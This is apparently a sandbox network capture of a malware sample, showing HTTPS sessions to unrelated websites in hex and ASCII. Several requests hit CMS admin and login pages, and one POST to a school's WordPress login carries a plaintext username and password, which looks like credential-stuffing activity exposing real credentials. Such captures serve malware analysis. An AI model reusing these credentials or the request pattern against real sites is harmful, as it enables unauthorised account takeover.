2023-11-26 05:59:43 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 76 65 72 69 74 61 73 2f 62 65 61 6d 6c 69 6e 65 2d 6f 70 74 69 63 73 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 42 65 61 6d 6c 69 6e 65 20 6f 70 74 69 63 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: 3FC0age item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/veritas/beamline-optics/" class="menu-item-label">Beamline optics</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-4'><a href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	64120	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	250	OUT	GET /Security/login?BackURL=%2Fadmin%2Fpages%2F HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=m4dctrurspuesp0b7frt4pped2 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	333	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 78 2d 72 6f 62 6f 74 73 2d 74 61 67 3a 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:42 GMTServer: Apache/2.4.52 (Ubuntu)x-frame-options: SAMEORIGINx-robots-tag: noindex, nofollowvary: X-Forwarded-Protocol,Accept-Encodingcache-control: no-cache, no-store, must-revalidateConnection:
2023-11-26 05:59:42 UTC	7859	IN	Data Raw: 32 61 64 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4c 6f Data Ascii: 2ad4<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Lo
2023-11-26 05:59:42 UTC	3111	IN	Data Raw: 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 69 66 72 61 6d 65 2d 74 72 61 6e 73 70 6f 72 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 66 69 6c 65 75 70 6c 6f 61 64 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 56 61 6c 69 64 61 74 65 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 61 73 70 6e 65 74 63 64 6e 2e 63 6f 6d 2f 61 6a 61 78 2f Data Ascii: <script src="/resources/themes/main/js/vendor/jquery.iframe-transport.js"></script> <script src="/resources/themes/main/js/vendor/jquery.fileupload.js"></script> ... Validate --> <script src="//ajax.aspnetcdn.com/ajax/
2023-11-26 05:59:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	64115	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	398	OUT	POST /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=nmvmuaeqvtv9ahtlqhgrbkp69n User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://coralparkchristian.org/wp-login.php Content-Length: 165 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:42 UTC	165	OUT	Data Raw: 6c 6f 67 3d 6d 61 69 6e 6f 66 66 69 63 65 25 34 30 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 26 70 77 64 3d 54 30 4a 52 58 34 57 54 53 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=mainoffice%40coralparkchristian.org&pwd=T0JRX4WTS&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fcoralparkchristian.org%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:42 UTC	522	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 72 2d 63 66 2d 6c 69 73 74 5f 65 6d 61 69 6c 5f 73 65 6e 64 5f 74 6f 3d 64 65 6c 65 74 65 64 3b Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:42 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wr-cf-list_email_send_to=deleted;
2023-11-26 05:59:42 UTC	4191	IN	Data Raw: 31 30 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e Data Ascii: 1057<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Con
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	64017	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	943	OUT	GET /administrator/index.php HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJRb9owFIXf%2BRVV3uM4CaGJBUisrC0SA1TYHvYyXeybYsmxU9tpx79fiLd1mzTu4%2FE9n8498tRBo1q26PxJP%2BFLh86Pbvr53ijt2PA4izqrmQEnHdPQoGOes%2F3i05plhLLWGm%2B4UdE%2FtusucA6tl0YH22o5i7abj%2Bvtw2rzbZJCxbEu6FHc5hWnNE2xHFdlWRcgUBR5QUHkcBusX9C6njOLemw0CjTnOlxp50H7XqdZHqdpnE0OtGBFxfLya7Au%2B2OlBj%2FYT963jiWJMs9Sk0Zya5ypvdFKaiTcNAkv63FeFRjXMMZ4nFaTGMSxio%2BQcZFxoFVNk8vpWcDvfjbzQWoh9fP1Qo5hybHHw2EX77b7Q4AsfhV1Z7TrGrR7tK%2BS4%2Ben9Xvm5kw4qFewZ%2FKiBEHREeiGKAkPNtKe2mg%2BEKcXnQ0d2flVwjT5c%2FXd3LJNn3%2B13Bkl%2BXnQL3NvbAP%2B%2F2emJB0UKeJ6WGWddi1yWUsU0W%2FMQinzdmcRPM4ibzuMbpL5KGT5%2B6POfwA%3D&RelayState=%2Fadministrator%2F
2023-11-26 05:59:42 UTC	413	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 2f 6c 6f 67 69 6e 2f 3f 70 61 67 65 3d 25 32 46 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:42 GMTTransfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheLocation: /login/?page=%2F
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	64089	202.226.37.158	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	167	OUT	GET / HTTP/1.1 Host: daisyokogyo.co.jp Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	378	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, m
2023-11-26 05:59:42 UTC	16006	IN	Data Raw: 65 34 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e5 a4 a7 e6 98 ad e5 b7 a5 e6 a5 ad e6 a0 aa e5 bc 8f e4 bc 9a e7 a4 be 20 7c 20 e3 81 94 e3 81 bf e5 8f 8e e9 9b 86 e3 83 bb e6 8e 92 e6 b0 b4 e5 87 a6 e7 90 86 e8 a8 ad e5 82 99 e3 81 ae e7 b6 ad e6 8c 81 e7 ae a1 e7 90 86 20 7c 20 e5 90 8d e5 8f a4 e5 b1 8b e5 b8 82 e3 83 bb e6 84 9b e7 9f a5 Data Ascii: e457<!DOCTYPE html><html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> <title> \| \|
2023-11-26 05:59:42 UTC	16384	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 73 2d 63 68 69 6c 64 32 5f 5f 75 6c 5f 5f 6c 69 6e 6b 5f 5f 64 69 76 20 69 73 2d 64 69 76 34 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 69 73 2d 63 68 69 6c 64 32 5f 5f 75 6c 5f 5f 6c 69 5f 5f 74 78 74 20 69 73 2d 70 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 0a 20 20 20 20 Data Ascii: <div class="is-child2__ul__link__div is-div4"> </div> <p class="is-child2__ul__li__txt is-p4"> <span>
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 73 76 67 22 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 69 6d 67 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 64 69 76 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 74 69 74 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e8 b3 87 e6 ba 90 e5 be aa e7 92 b0 e4 ba 8b e6 a5 ad 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: svg" class="p-index__business__img1"> </picture> <div class="p-index__business__div1"> <p class="p-index__business__title"> </p>
2023-11-26 05:59:43 UTC	9694	IN	Data Raw: e3 81 94 e3 81 bf e3 81 ae e5 8f 8e e9 9b 86 ef bc 88 e5 90 8d e5 8f a4 e5 b1 8b e5 b8 82 ef bc 89 e3 81 8c e5 a7 8b e3 81 be e3 82 8a e3 81 be e3 81 97 e3 81 9f e3 80 82 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 6e 65 77 73 5f 5f 6c 69 73 74 5f 5f 63 61 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e3 81 8a e7 9f a5 e3 82 89 e3 81 9b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 Data Ascii: </p> <p class="p-index__news__list__cat"> </p>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	64149	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	206	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	798	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:42 UTC	571	IN	Data Raw: 39 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 925<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 Data Ascii: /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/cs
2023-11-26 05:59:42 UTC	408	IN	Data Raw: 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 74 Data Ascii: y=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];function gt
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 31 31 38 34 0d 0a 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 